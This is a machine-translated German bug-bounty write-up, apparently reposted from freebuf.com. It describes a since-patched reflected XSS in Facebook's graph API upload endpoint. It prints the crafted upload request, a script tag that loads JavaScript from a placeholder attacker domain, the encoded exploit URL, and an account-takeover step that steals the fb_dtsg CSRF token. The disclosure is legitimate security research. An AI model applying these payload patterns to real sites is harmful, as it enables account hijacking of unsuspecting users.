Heim > Betrieb und Instandhaltung > Sicherheit > Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

王林
Freigeben: 2019-12-28 17:59:36
nach vorne
3050 Leute haben es durchsucht

Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

Sicherheitslücke

Diese Sicherheitslücke besteht nur in IE- und Edge-Browsern. Die Ursache der Sicherheitslücke liegt in einigen API-Endpunkten in graph.facebook.com , vollständige und sichere Escape-Maßnahmen werden bei der Verarbeitung von HTML-Code-Antworten nicht implementiert. Die Antwortnachricht liegt im JSON-Format vor, der HTML-Code ist als Wert eines der Felder enthalten und die Antwortnachricht enthält keinen Content-Type- oder X-Content-Type-Options-Header, sodass ich die Möglichkeit dazu habe Verwenden Sie IE/Edge. Der Konstruktionscode wird ausgeführt.

(Diese beiden Browsertypen scannen die gesamte Seite, um den MIME-Dateityp zu ermitteln, während andere Browser nur die ersten paar Zeichen prüfen.)

Wiederkehr der Sicherheitslücke

1. Zuerst senden wir eine POST-Anfrage in der folgenden Upload-Methode:

POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
Nach dem Login kopieren

wobei ACCESS_TOKEN von Facebook generiert wird für Ein gültiges Benutzerzugriffstoken, das von der Erstanbieteranwendung von Android generiert wird, und PAYLOAD ist der HTML-Code, den wir einfügen möchten, um das Opfer anschließend zur Ausführung im Browser zu verleiten. Wenn die Anfrage gesendet wird, gibt der Remote-Server einen Wert ähnlich dem folgenden zurück, der eine Sitzungs-ID enthält, die später verwendet wird (Einzelheiten finden Sie in den offiziellen Anweisungen von Facebook):

{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
Nach dem Login kopieren

Nach dem Testen ist es Es wurde festgestellt, dass in der Antwortnachricht keine CSP-Einschränkungen (Content Security Policy) vorliegen. Daher habe ich darüber nachgedacht, ob ich eine JS-Datei mit externen Links zum Einfügen von HTML-Code verwenden könnte, zum Beispiel:

<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
Nach dem Login kopieren

2. Das Die Upload-Anfrage erfolgt hier durch die Base64-Kodierungsverarbeitung des Facebook-Backends. Die zurückgegebene Anzeige lautet wie folgt und enthält die von uns speziell implantierten Nutzdaten:

upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48
Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
Nach dem Login kopieren

Daher wird nach Verwendung dieser Kodierungszeichenfolge die folgende Anfrage angezeigt: mit dem eine POST-Anfrage an Facebook initiiert werden kann:

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 
0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s
ig=ARaCDqLfwoeI8V3s
Nach dem Login kopieren

3 Daraus habe ich mithilfe der obigen Anforderungszeichenfolge das gültige access_token hinzugefügt, das ich in Schritt 1 generiert habe, eine HTML-Webseite erstellt und eingefügt meine Website:

Nutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten

Diese Seite enthält einen Einreichungsstil und die Antwortnachricht nach den Besuchen des Opfers lautet wie folgt:

{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb
AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
Nach dem Login kopieren

Wichtig, die Skriptdatei in https://DOMAIN.com/script.js hilft mir, das CSRF-Token „fb_dtsg“ des Opfers zu stehlen, und kann eine verbindliche Anfrage an https://www.facebook.com/api/graphql/ senden, um eine Mobiltelefonnummer oder E-Mail-Adresse hinzuzufügen, um eine indirekte Entführung des Opferkontos zu erreichen.

Schwachstellenbehebung

1、在file_type参数中加入对HTML代码处理的安全转义措施;
2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。
漏洞上报及处理进程
2019.10.10   漏洞初报
2019.10.10   Facebook确认
2019.10.11    Facebook修复
2019.10.24   Facebook奖励5000$
Nach dem Login kopieren

Empfohlene verwandte Artikel und Tutorials: Website-Sicherheits-Tutorial

Das obige ist der detaillierte Inhalt vonNutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:freebuf.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage